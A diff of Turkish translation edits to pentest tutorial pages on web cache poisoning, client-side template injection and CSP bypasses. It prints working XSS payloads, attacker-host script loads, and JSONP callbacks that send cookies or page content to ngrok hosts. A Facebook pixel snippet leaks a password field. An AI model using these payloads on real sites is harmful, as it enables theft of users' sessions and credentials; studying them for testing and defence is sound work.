Çerezler, bir sayfanın yanıtında da yansıtılabilir. Eğer bunu bir XSS oluşturmak için kötüye kullanabilirseniz, kötü niyetli önbellek yanıtını yükleyen birkaç istemcide XSS'i istismar edebilirsiniz.
```markup
```html
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
@ -108,7 +108,7 @@ cache-poisoning-via-url-discrepancies.md
### Web önbellek zehirleme zafiyetlerini istismar etmek için birden fazla başlık kullanma <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
Bazen bir önbelleği istismar edebilmek için **birden fazla anahtarsız girişi** **istismar etmeniz** gerekecektir. Örneğin, `X-Forwarded-Host` başlığını sizin kontrolünüzdeki bir alan adına ve `X-Forwarded-Scheme` başlığını `http` olarak ayarlarsanız bir **Açık yönlendirme** bulabilirsiniz. **Eğer** **sunucu** tüm **HTTP** isteklerini **HTTPS**'ye **yönlendiriyorsa** ve `X-Forwarded-Scheme` başlığını yönlendirme için alan adı olarak kullanıyorsa, yönlendirme ile sayfanın nereye yönlendirileceğini kontrol edebilirsiniz.
```markup
```html
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
@ -117,7 +117,7 @@ X-Forwarded-Scheme: http
### Sınırlı `Vary` başlığı ile istismar
Eğer **`X-Host`** başlığının **JS kaynağını yüklemek için alan adı olarak** kullanıldığını ve yanıtın **`Vary`** başlığının **`User-Agent`** belirttiğini bulduysanız, o zaman kurbanın User-Agent'ını dışarı sızdırmanın ve bu kullanıcı ajanını kullanarak önbelleği zehirlemenin bir yolunu bulmalısınız:
```markup
```html
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
@ -125,7 +125,7 @@ X-Host: attacker.com
```
### Fat Get
URL'deki ve gövdedeki isteği içeren bir GET isteği gönderin. Eğer web sunucusu gövdedekini kullanıyorsa ama önbellek sunucusu URL'dekini önbelleğe alıyorsa, o URL'yi erişen herkes aslında gövdedeki parametreyi kullanacaktır. James Kettle'ın Github web sitesinde bulduğu zafiyet gibi:
URL'deki isteği ve gövdedeki isteği içeren bir GET isteği gönderin. Eğer web sunucusu gövdedekini kullanıyorsa ama önbellek sunucusu URL'dekini önbelleğe alıyorsa, o URL'ye erişen herkes aslında gövdedeki parametreyi kullanacaktır. James Kettle'ın Github web sitesinde bulduğu zafiyet gibi:
```
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
@ -138,7 +138,7 @@ There it a portswigger lab about this: [https://portswigger.net/web-security/web
### Parametre Gizleme
Örneğin, ruby sunucularında **parametreleri** **`&`** yerine **`;`** karakteri kullanarak ayırmak mümkündür. Bu, anahtarsız parametre değerlerini anahtarlı olanların içine yerleştirmek ve bunları kötüye kullanmak için kullanılabilir.
Örneğin, ruby sunucularında **parametreleri** **`;`** karakteri kullanarak **`&`** yerine ayırmak mümkündür. Bu, anahtarsız parametre değerlerini anahtarlı olanların içine yerleştirmek ve bunları kötüye kullanmak için kullanılabilir.
Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
@ -168,7 +168,7 @@ GitLab, statik içeriği depolamak için GCP bucket'larını kullanır. **GCP Bu
### Rack Middleware (Ruby on Rails)
Ruby on Rails uygulamalarında, Rack middleware sıklıkla kullanılmaktadır. Rack kodunun amacı, **`x-forwarded-scheme`** başlığının değerini almak ve bunu isteğin şeması olarak ayarlamaktır. `x-forwarded-scheme: http` başlığı gönderildiğinde, aynı konuma 301 yönlendirmesi gerçekleşir ve bu, o kaynağa bir Hizmet Reddi (DoS) neden olabilir. Ayrıca, uygulama `X-forwarded-host` başlığını tanıyabilir ve kullanıcıları belirtilen ana bilgisayara yönlendirebilir. Bu davranış, bir saldırganın sunucusundan JavaScript dosyalarının yüklenmesine yol açarak güvenlik riski oluşturabilir.
Ruby on Rails uygulamalarında, genellikle Rack middleware kullanılır. Rack kodunun amacı, **`x-forwarded-scheme`** başlığının değerini almak ve bunu isteğin şeması olarak ayarlamaktır. `x-forwarded-scheme: http` başlığı gönderildiğinde, aynı konuma 301 yönlendirmesi gerçekleşir ve bu, o kaynağa bir Hizmet Reddi (DoS) neden olabilir. Ayrıca, uygulama `X-forwarded-host` başlığını tanıyabilir ve kullanıcıları belirtilen ana bilgisayara yönlendirebilir. Bu davranış, bir saldırganın sunucusundan JavaScript dosyalarının yüklenmesine yol açarak güvenlik riski oluşturabilir.
### 403 ve Depolama Bucket'ları
@ -176,7 +176,7 @@ Cloudflare daha önce 403 yanıtlarını önbelleğe alıyordu. Yanlış Yetkile
### Anahtarlı Parametreleri Enjekte Etme
Önbellekler genellikle önbellek anahtarında belirli GET parametrelerini içerir. Örneğin, Fastly'nin Varnish'i isteklerde `size` parametresini önbelleğe alıyordu. Ancak, parametrenin URL kodlu bir versiyonu (örneğin, `siz%65`) hatalı bir değerle gönderildiğinde, önbellek anahtarı doğru `size` parametresi kullanılarak oluşturuluyordu. Yine de, arka uç URL kodlu parametredeki değeri işliyordu. İkinci `size` parametresinin URL kodlaması, önbellek tarafından atılmasına neden oldu ancak arka uç tarafından kullanıldı. Bu parametreye 0 değeri atamak, önbelleğe alınabilir bir 400 Bad Request hatası ile sonuçlandı.
Önbellekler genellikle önbellek anahtarında belirli GET parametrelerini içerir. Örneğin, Fastly'nin Varnish'i isteklerde `size` parametresini önbelleğe alıyordu. Ancak, parametrenin URL kodlamalı bir versiyonu (örneğin, `siz%65`) hatalı bir değerle gönderildiğinde, önbellek anahtarı doğru `size` parametresi kullanılarak oluşturuluyordu. Yine de, arka uç URL kodlamalı parametredeki değeri işliyordu. İkinci `size` parametresinin URL kodlaması, önbellek tarafından atılmasına neden oldu ancak arka uç tarafından kullanıldı. Bu parametreye 0 değeri atamak, önbelleğe alınabilir bir 400 Bad Request hatasına yol açtı.
### Kullanıcı Aracı Kuralları
@ -192,9 +192,9 @@ Bazı geliştiriciler, sunucu yükünü yönetmek için FFUF veya Nuclei gibi y
## Önbellek Aldatmacası
Önbellek Aldatmacası'nın amacı, istemcilerin **önbellek tarafından hassas bilgileri ile birlikte kaydedilecek kaynakları yüklemelerini sağlamaktır**.
Önbellek Aldatmacası'nın amacı, istemcilerin **önbellek tarafından kaydedilecek kaynakları hassas bilgileriyle yüklemelerini sağlamaktır**.
Öncelikle, **.css**, **.js**, **.png** gibi **uzantıların** genellikle **önbelleğe** **kaydedilmek** üzere **yapılandırıldığını** unutmayın. Bu nedenle, `www.example.com/profile.php/nonexistent.js` adresine erişirseniz, önbellek muhtemelen yanıtı kaydedecektir çünkü `.js` **uzantısını** görmektedir. Ancak, eğer **uygulama**, _www.example.com/profile.php_ içinde saklanan **hassas** kullanıcı içerikleri ile **tekrar** yanıt veriyorsa, diğer kullanıcılardan bu içerikleri **çalmış** olursunuz.
Öncelikle, **.css**, **.js**, **.png** gibi **uzantıların** genellikle **önbelleğe** **kaydedilmek** üzere **yapılandırıldığını** unutmayın. Bu nedenle, `www.example.com/profile.php/nonexistent.js` adresine erişirseniz, önbellek muhtemelen yanıtı kaydedecektir çünkü `.js` **uzantısını** görmektedir. Ancak, eğer **uygulama**, _www.example.com/profile.php_ içinde saklanan **hassas** kullanıcı içerikleriyle **tekrar oynuyorsa**, bu içerikleri diğer kullanıcılardan **çalmış** olursunuz.
Test edilecek diğer şeyler:
@ -203,19 +203,19 @@ Test edilecek diğer şeyler:
- _www.example.com/profile.php/test.js_
- _www.example.com/profile.php/../test.js_
- _www.example.com/profile.php/%2e%2e/test.js_
- _Daha az bilinen uzantılar kullanın, örneğin_ `.avif`
- _Daha az bilinen uzantıları kullanın, örneğin_ `.avif`
Başka çok net bir örnek bu yazıda bulunabilir: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
Örnekte, _http://www.example.com/home.php/non-existent.css_ gibi var olmayan bir sayfayı yüklediğinizde, _http://www.example.com/home.php_ (**kullanıcının hassas bilgileriyle**) içeriğin döneceği ve önbellek sunucusunun sonucu kaydedeceği açıklanmaktadır.\
Daha sonra, **saldırgan**, kendi tarayıcısında _http://www.example.com/home.php/non-existent.css_ adresine erişebilir ve daha önce erişen kullanıcıların **gizli bilgilerini** gözlemleyebilir.
**Önbellek proxy'sinin**, dosyaları **uzantıya** göre **önbelleğe** **kaydetmek** üzere **yapılandırılması** gerektiğini unutmayın (_ .css_) ve içerik türüne göre değil. Örneğin, _http://www.example.com/home.php/non-existent.css_ adresinin `text/html` içerik türü yerine `text/css` mime türüne sahip olması beklenir (bu, bir _.css_ dosyası için beklenendir).
**Önbellek proxy'sinin**, dosyaları **uzantıya** (_css_) göre **önbelleğe** **alacak** şekilde **yapılandırılması** gerektiğini unutmayın ve içerik türüne göre değil. Örneğin, _http://www.example.com/home.php/non-existent.css_ adresinin `text/html` içerik türü olacak, bu da bir _.css_ dosyası için beklenen `text/css` mime türü değildir.
[Cache Deceptions saldırılarını HTTP İstek Kaçırma ile nasıl gerçekleştireceğinizi](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception) burada öğrenin.
[Cache Deceptions saldırılarını HTTP İstek Kaçırma ile kötüye kullanarak nasıl gerçekleştireceğinizi](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception) burada öğrenin.
## Otomatik Araçlar
- [**toxicache**](https://github.com/xhzeem/toxicache): Bir URL listesinde web cache zehirlenmesi açıklarını bulmak ve birden fazla enjeksiyon tekniğini test etmek için Golang tarayıcı.
- [**toxicache**](https://github.com/xhzeem/toxicache): Bir URL listesinde web cache zehirlenmesi açıklarını bulmak ve birden fazla enjeksiyon tekniğini test etmek için Golang tarayıcısı.
## Referanslar

View File

@ -4,9 +4,9 @@
## Özet
Bu, **Sunucu Tarafı Şablon Enjeksiyonu** ([**Server Side Template Injection**](ssti-server-side-template-injection/index.html)) gibidir, ancak **istemci** tarafında. **SSTI**, uzaktaki sunucuda **kod çalıştırmanıza** izin verebilir, **CSTI** ise kurbanın tarayıcısında **rastgele JavaScript** kodu çalıştırmanıza izin verebilir.
Bu, **Sunucu Tarafı Şablon Enjeksiyonu** (SSTI) gibidir, ancak **istemci** tarafındadır. **SSTI**, uzaktaki sunucuda **kod çalıştırmanıza** izin verebilir, **CSTI** ise kurbanın tarayıcısında **rastgele JavaScript** kodu çalıştırmanıza izin verebilir.
Bu güvenlik açığını **test etmek**, **SSTI** durumunda olduğu gibi çok **benzer**dir, yorumlayıcı **bir şablon** bekler ve bunu çalıştırır. Örneğin, `{{ 7-7 }}` gibi bir yük ile, uygulama **ık** ise `0` göreceksiniz, değilse orijinalini: `{{ 7-7 }}` göreceksiniz.
Bu zafiyeti **test etmek**, **SSTI** durumunda olduğu gibi çok **benzer**dir, yorumlayıcı **bir şablon** bekler ve bunu çalıştırır. Örneğin, `{{ 7-7 }}` gibi bir yük ile, uygulama **zayıfsa** `0` göreceksiniz, değilse orijinalini göreceksiniz: `{{ 7-7 }}`
## AngularJS
@ -23,7 +23,7 @@ Kullanıcı girdisinin `ng-app` ile etiketlenmiş HTML gövdesine dinamik olarak
```
Bir **temel çevrimiçi örneği** **AngularJS**'deki zafiyetin [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) ve [**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression) adresinde bulabilirsiniz.
> [!CAUTION] > [**Angular 1.6 kum havuzunu kaldırdı**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html), bu nedenle bu versiyondan itibaren `{{constructor.constructor('alert(1)')()}}` veya `<input ng-focus=$event.view.alert('XSS')>` gibi bir yük çalışmalıdır.
> [!CAUTION] > [**Angular 1.6 kum havuzunu kaldırdı**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html) bu nedenle bu versiyondan itibaren `{{constructor.constructor('alert(1)')()}}` veya `<input ng-focus=$event.view.alert('XSS')>` gibi bir yük çalışmalıdır.
## VueJS
@ -31,7 +31,7 @@ Bir **temel çevrimiçi örneği** **AngularJS**'deki zafiyetin [http://jsfiddle
Çalışan yük: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](<https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%7D>)
Ve zayıf örneğin **kaynak kodu** burada: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example)
```markup
```html
<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
```

View File

@ -4,7 +4,7 @@
## CSP Nedir
Content Security Policy (CSP), esasen **cross-site scripting (XSS)** gibi saldırılara karşı koruma sağlamak amacıyla tanınan bir tarayıcı teknolojisidir. Tarayıcı tarafından güvenli bir şekilde yüklenebilecek kaynakların yollarını ve kaynaklarını tanımlayarak çalışır. Bu kaynaklar, resimler, çerçeveler ve JavaScript gibi çeşitli öğeleri kapsar. Örneğin, bir politika, aynı alan adından (self) kaynakların yüklenmesine ve çalıştırılmasına izin verebilir; bu, inline kaynakları ve `eval`, `setTimeout` veya `setInterval` gibi fonksiyonlar aracılığıyla string kodunun çalıştırılmasını içerir.
Content Security Policy (CSP), esasen **cross-site scripting (XSS)** gibi saldırılara karşı koruma sağlamak amacıyla tanınan bir tarayıcı teknolojisidir. Tarayıcı tarafından güvenli bir şekilde yüklenebilecek kaynakların yollarını ve kaynaklarını tanımlayarak çalışır. Bu kaynaklar, resimler, çerçeveler ve JavaScript gibi çeşitli öğeleri kapsar. Örneğin, bir politika, aynı alan adından (self) kaynakların yüklenmesine ve çalıştırılmasına izin verebilir; bu, satır içi kaynakları ve `eval`, `setTimeout` veya `setInterval` gibi fonksiyonlar aracılığıyla dize kodunun çalıştırılmasını içerir.
CSP'nin uygulanması, **yanıt başlıkları** aracılığıyla veya **HTML sayfasına meta öğeleri ekleyerek** gerçekleştirilir. Bu politikayı izleyen tarayıcılar, bu şartları proaktif bir şekilde uygular ve tespit edilen ihlalleri hemen engeller.
@ -25,7 +25,7 @@ CSP bu başlıklar kullanılarak uygulanabilir veya izlenebilir:
### Defining Resources
CSP, hem aktif hem de pasif içeriğin yüklenmesi için kökenleri kısıtlar, inline JavaScript yürütmesi ve `eval()` kullanımı gibi yönleri kontrol eder. Bir örnek politika:
CSP, hem aktif hem de pasif içeriğin yüklenmesi için kaynakları kısıtlar, inline JavaScript yürütmesi ve `eval()` kullanımı gibi yönleri kontrol eder. Bir örnek politika:
```bash
default-src 'none';
img-src 'self';
@ -45,15 +45,15 @@ object-src 'none';
- **connect-src**: fetch, WebSocket, XMLHttpRequest gibi arayüzler kullanılarak yüklenebilecek URL'leri kısıtlar.
- **frame-src**: Çerçeveler için URL'leri kısıtlar.
- **frame-ancestors**: Geçerli sayfayı gömebilecek kaynakları belirtir, `<frame>`, `<iframe>`, `<object>`, `<embed>` ve `<applet>` gibi öğelere uygulanır.
- **img-src**: Görseller için izin verilen kaynakları tanımlar.
- **img-src**: Resimler için izin verilen kaynakları tanımlar.
- **font-src**: `@font-face` kullanılarak yüklenen fontlar için geçerli kaynakları belirtir.
- **manifest-src**: Uygulama manifest dosyalarının izin verilen kaynaklarını tanımlar.
- **media-src**: Medya nesnelerini yüklemek için izin verilen kaynakları tanımlar.
- **object-src**: `<object>`, `<embed>` ve `<applet>` öğeleri için izin verilen kaynakları tanımlar.
- **base-uri**: `<base>` öğeleri kullanarak yükleme için izin verilen URL'leri belirtir.
- **base-uri**: `<base>` öğeleri kullanarak yüklenebilecek izin verilen URL'leri belirtir.
- **form-action**: Form gönderimleri için geçerli uç noktaları listeler.
- **plugin-types**: Bir sayfanın çağırabileceği mime türlerini kısıtlar.
- **upgrade-insecure-requests**: Tarayıcılara HTTP URL'lerini HTTPS olarak yeniden yazmalarını talimat verir.
- **upgrade-insecure-requests**: Tarayıcılara HTTP URL'lerini HTTPS'ye yeniden yazmalarını talimat verir.
- **sandbox**: `<iframe>`'in sandbox niteliğine benzer kısıtlamalar uygular.
- **report-to**: Politika ihlal edilirse bir raporun gönderileceği grubu belirtir.
- **worker-src**: Worker, SharedWorker veya ServiceWorker scriptleri için geçerli kaynakları belirtir.
@ -64,13 +64,13 @@ object-src 'none';
- `*`: `data:`, `blob:`, `filesystem:` şemaları dışındaki tüm URL'lere izin verir.
- `'self'`: Aynı alan adından yüklemeye izin verir.
- `'data'`: Veriler şeması aracılığıyla kaynakların yüklenmesine izin verir (örneğin, Base64 kodlu görseller).
- `'data'`: Veriler şeması aracılığıyla kaynakların yüklenmesine izin verir (örneğin, Base64 kodlu resimler).
- `'none'`: Herhangi bir kaynaktan yüklemeyi engeller.
- `'unsafe-eval'`: `eval()` ve benzeri yöntemlerin kullanılmasına izin verir, güvenlik nedenleriyle önerilmez.
- `'unsafe-hashes'`: Belirli satır içi olay işleyicilerini etkinleştirir.
- `'unsafe-inline'`: Satır içi `<script>` veya `<style>` gibi satır içi kaynakların kullanılmasına izin verir, güvenlik nedenleriyle önerilmez.
- `'nonce'`: Kriptografik bir nonce (bir kez kullanılan sayı) kullanarak belirli satır içi scriptler için bir beyaz liste.
- JS sınırlı yürütme varsa, sayfa içinde kullanılan bir nonce almak mümkündür `doc.defaultView.top.document.querySelector("[nonce]")` ile ve ardından kötü niyetli bir script yüklemek için yeniden kullanılabilir (strict-dynamic kullanılıyorsa, herhangi bir izin verilen kaynak yeni kaynaklar yükleyebilir, bu nedenle bu gerekli değildir), örneğin:
- JS sınırlı yürütme varsa, sayfa içinde kullanılan bir nonce almak mümkündür `doc.defaultView.top.document.querySelector("[nonce]")` ile ve ardından kötü niyetli bir script yüklemek için yeniden kullanılabilir (strict-dynamic kullanılıyorsa, herhangi bir izin verilen kaynak yeni kaynaklar yükleyebilir, bu nedenle bu gerekli değildir), şöyle:
<details>
@ -116,7 +116,7 @@ csp-bypass-self-+-unsafe-inline-with-iframes.md
### 'unsafe-eval'
> [!DİKKAT]
> Bu çalışmıyor, daha fazla bilgi için [**bunu kontrol et**](https://github.com/HackTricks-wiki/hacktricks/issues/653).
> Bu çalışmıyor, daha fazla bilgi için [**bunu kontrol edin**](https://github.com/HackTricks-wiki/hacktricks/issues/653).
```yaml
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
```
@ -126,25 +126,25 @@ Content-Security-Policy: script-src https://google.com 'unsafe-eval';
```
### strict-dynamic
Eğer bir şekilde **izin verilen JS kodu DOM'da yeni bir script etiketi oluşturabiliyorsa** ve bu izin verilen script onu oluşturuyorsa, **yeni script etiketi çalıştırılmaya izin verilecektir**.
Eğer bir şekilde **izin verilen JS kodu, DOM'da yeni bir script etiketi oluşturabiliyorsa** ve bu izin verilen script onu oluşturuyorsa, **yeni script etiketi çalıştırılmaya izin verilecektir**.
### Wildcard (\*)
```yaml
Content-Security-Policy: script-src 'self' https://google.com https: data *;
```
Çalışan yük:
```markup
```html
"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>
```
### object-src ve default-src eksikliği
> [!CAUTION] > **Görünüşe göre bu artık çalışmıyor**
> [!DİKKAT] > **Görünüşe göre bu artık çalışmıyor**
```yaml
Content-Security-Policy: script-src 'self' ;
```
Çalışan yükler:
```markup
```html
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>
@ -156,18 +156,18 @@ Content-Security-Policy: script-src 'self'; object-src 'none' ;
Eğer bir JS dosyası yükleyebiliyorsanız, bu CSP'yi atlayabilirsiniz:
Çalışan yük:
```markup
```html
"/>'><script src="/uploads/picture.png.js"></script>
```
Ancak, sunucunun **yüklenen dosyayı doğrulama** olasılığı oldukça yüksektir ve yalnızca **belirli türde dosyaların yüklenmesine** izin verecektir.
Ayrıca, sunucu tarafından kabul edilen bir uzantı kullanarak bir dosya içine **JS kodu yükleyebilseniz bile** (örneğin: _script.png_) bu yeterli olmayacaktır çünkü bazı sunucular, apache sunucusu gibi, **dosyanın MIME türünü uzantıya göre seçer** ve Chrome gibi tarayıcılar, bir görüntü olması gereken bir şeyin içinde Javascript kodunu **çalıştırmayı reddeder**. "Umarım", hatalar vardır. Örneğin, bir CTF'den öğrendiğim kadarıyla **Apache,** _**.wave**_ uzantısını bilmemektedir, bu nedenle onu **audio/** gibi bir **MIME türüyle sunmaz**.
Ayrıca, sunucu tarafından kabul edilen bir uzantı kullanarak bir dosya içine **JS kodu yükleyebilseniz bile** (örneğin: _script.png_) bu yeterli olmayacaktır çünkü bazı sunucular, apache sunucusu gibi, **dosyanın MIME türünü uzantıya göre seçer** ve Chrome gibi tarayıcılar, bir görüntü olması gereken bir şeyin içinde **Javascript** kodunu **çalıştırmayı reddeder**. "Umarım", hatalar vardır. Örneğin, bir CTF'den öğrendiğim kadarıyla **Apache,** _**.wave**_ uzantısını **bilmez**, bu nedenle onu **MIME türü olarak audio/** ile sunmaz.
Buradan, bir XSS ve dosya yüklemesi bulursanız ve **yanlış yorumlanan bir uzantı** bulmayı başarırsanız, o uzantıyla bir dosya yüklemeyi ve script içeriğini denemek isteyebilirsiniz. Ya da, sunucu yüklenen dosyanın doğru formatını kontrol ediyorsa, bir polyglot oluşturabilirsiniz ([bazı polyglot örnekleri burada](https://github.com/Polydet/polyglot-database)).
### Form-action
Eğer JS enjekte etmek mümkün değilse, örneğin kimlik bilgilerini **bir form eylemi enjekte ederek** dışarı sızdırmayı deneyebilirsiniz (ve belki şifre yöneticilerinin şifreleri otomatik doldurmasını bekleyebilirsiniz). [**Bu raporda bir örnek bulabilirsiniz**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Ayrıca, `default-src`'nin form eylemlerini kapsamadığını unutmayın.
Eğer JS enjekte etmek mümkün değilse, örneğin kimlik bilgilerini **bir form eylemi enjekte ederek** dışarı sızdırmayı deneyebilirsiniz (ve belki şifre yöneticilerinin şifreleri otomatik doldurmasını bekleyebilirsiniz). Bir [**örneği bu raporda bulabilirsiniz**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Ayrıca, `default-src`'nin form eylemlerini kapsamadığını unutmayın.
### Üçüncü Taraf Uç Noktaları + ('unsafe-eval')
@ -201,7 +201,7 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
> [!NOTE]
> Gönderi, `cdn.cloudflare.com` (veya başka bir izin verilen JS kütüphaneleri deposu) üzerinden tüm **kütüphaneleri** **yükleyebileceğinizi**, her kütüphaneden eklenen tüm fonksiyonları çalıştırabileceğinizi ve **hangi kütüphanelerden hangi fonksiyonların `window` nesnesini döndürdüğünü** kontrol edebileceğinizi gösteriyor.
```markup
```html
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
@ -230,9 +230,9 @@ Angular XSS bir sınıf adından:
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
```
#### Google reCAPTCHA JS kodunu istismar etme
#### Google reCAPTCHA JS kodunu kötüye kullanma
[**bu CTF yazımına**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves) göre, CSP içinde [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) kullanarak CSP'yi atlayarak rastgele JS kodu çalıştırabilirsiniz:
[**bu CTF yazısına**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves) göre, CSP içinde [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) kullanarak CSP'yi atlayarak rastgele JS kodu çalıştırabilirsiniz:
```html
<div
ng-controller="CarouselController as c"
@ -274,8 +274,8 @@ Google Apps Script'i, script.google.com içindeki bir sayfada bilgi almak için
```http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
```
Bu tür senaryolar, `script-src`'nin `self` ve belirli bir beyaz listeye alınmış alan adına ayarlandığı durumlarda JSONP kullanılarak atlatılabilir. JSONP uç noktaları, bir saldırganın XSS gerçekleştirmesine olanak tanıyan güvensiz geri çağırma yöntemlerine izin verir, çalışan yük:
```markup
Bu tür senaryolar, `script-src`'nin `self` ve belirli bir beyaz listeye alınmış alan adı olarak ayarlandığı durumlarda JSONP kullanılarak atlatılabilir. JSONP uç noktaları, bir saldırganın XSS gerçekleştirmesine olanak tanıyan güvensiz geri çağırma yöntemlerine izin verir, çalışan yük:
```html
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
```
@ -284,9 +284,9 @@ Bu tür senaryolar, `script-src`'nin `self` ve belirli bir beyaz listeye alınm
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
```
[**JSONBee**](https://github.com/zigoo0/JSONBee) **farklı web sitelerinin CSP'sini atlatmak için kullanılmaya hazır JSONP uç noktaları içerir.**
[**JSONBee**](https://github.com/zigoo0/JSONBee) **farklı web sitelerinin CSP'sini aşmak için kullanılmaya hazır JSONP uç noktaları içerir.**
**Güvenilir uç nokta bir Açık Yönlendirme içeriyorsa** aynı zafiyet meydana gelecektir çünkü başlangıç uç noktası güvenilir ise, yönlendirmeler de güvenilir kabul edilir.
**Güvenilir uç nokta bir Açık Yönlendirme içeriyorsa** aynı güvenlik açığı meydana gelecektir çünkü başlangıç uç noktası güvenilir ise, yönlendirmeler de güvenilir kabul edilir.
### Üçüncü Taraf İstismarları
@ -303,13 +303,13 @@ Aşağıdaki [gönderide](https://sensepost.com/blog/2023/dress-code-the-talk/#b
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
Hedefinizin CSP'sinde izin verilen alan adlarından herhangi birini bulursanız, üçüncü taraf hizmetine kaydolarak CSP'yi atlatma şansınız olabilir ve ya verileri o hizmete dışarı sızdırabilir ya da kod çalıştırabilirsiniz.
Hedefinizin CSP'sinde izin verilen alan adlarından herhangi birini bulursanız, üçüncü taraf hizmete kaydolarak CSP'yi aşma şansınız olabilir ve ya verileri o hizmete dışarı sızdırabilir ya da kod çalıştırabilirsiniz.
Örneğin, aşağıdaki CSP'yi bulursanız:
```
Content-Security-Policy: default-src 'self www.facebook.com;
```
ve
or
```
Content-Security-Policy: connect-src www.facebook.com;
```
@ -317,10 +317,10 @@ Veri sızdırma işlemini, her zaman olduğu gibi [Google Analytics](https://www
1. Buradan bir Facebook Geliştirici hesabı oluşturun.
2. Yeni bir "Facebook Girişi" uygulaması oluşturun ve "Web Sitesi"ni seçin.
3. "Ayarlar -> Temel" bölümüne gidin ve "Uygulama Kimliği"nizi alın.
3. "Ayarlar -> Temel" bölümüne gidin ve "Uygulama Kimliğinizi" alın.
4. Veri sızdırmak istediğiniz hedef sitede, "customEvent" ve veri yükü aracılığıyla doğrudan Facebook SDK aracı "fbq" kullanarak veri sızdırabilirsiniz.
5. Uygulamanızın "Etkinlik Yöneticisi"ne gidin ve oluşturduğunuz uygulamayı seçin (etkinlik yöneticisi, şu URL'ye benzer bir URL'de bulunabilir: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
6. "Test Etkinlikleri" sekmesini seçerek "sizin" web siteniz tarafından gönderilen etkinlikleri görün.
5. Uygulamanızın "Etkinlik Yöneticisi"ne gidin ve oluşturduğunuz uygulamayı seçin (etkinlik yöneticisi, şu URL'ye benzer bir yerde bulunabilir: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
6. "Test Etkinlikleri" sekmesini seçerek "sizin" web sitenizden gönderilen etkinlikleri görün.
Ardından, kurban tarafında, saldırganın Facebook geliştirici hesabı uygulama kimliğine işaret eden Facebook izleme pikselini başlatmak ve şu şekilde özel bir etkinlik oluşturmak için aşağıdaki kodu çalıştırırsınız:
```JavaScript
@ -329,13 +329,13 @@ fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});
```
Diğer yedi üçüncü taraf alan adı için, önceki tabloda belirtilen, onları kötüye kullanmanın birçok başka yolu vardır. Diğer üçüncü taraf kötüye kullanımları hakkında ek açıklamalar için önceki [blog yazısına](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) bakın.
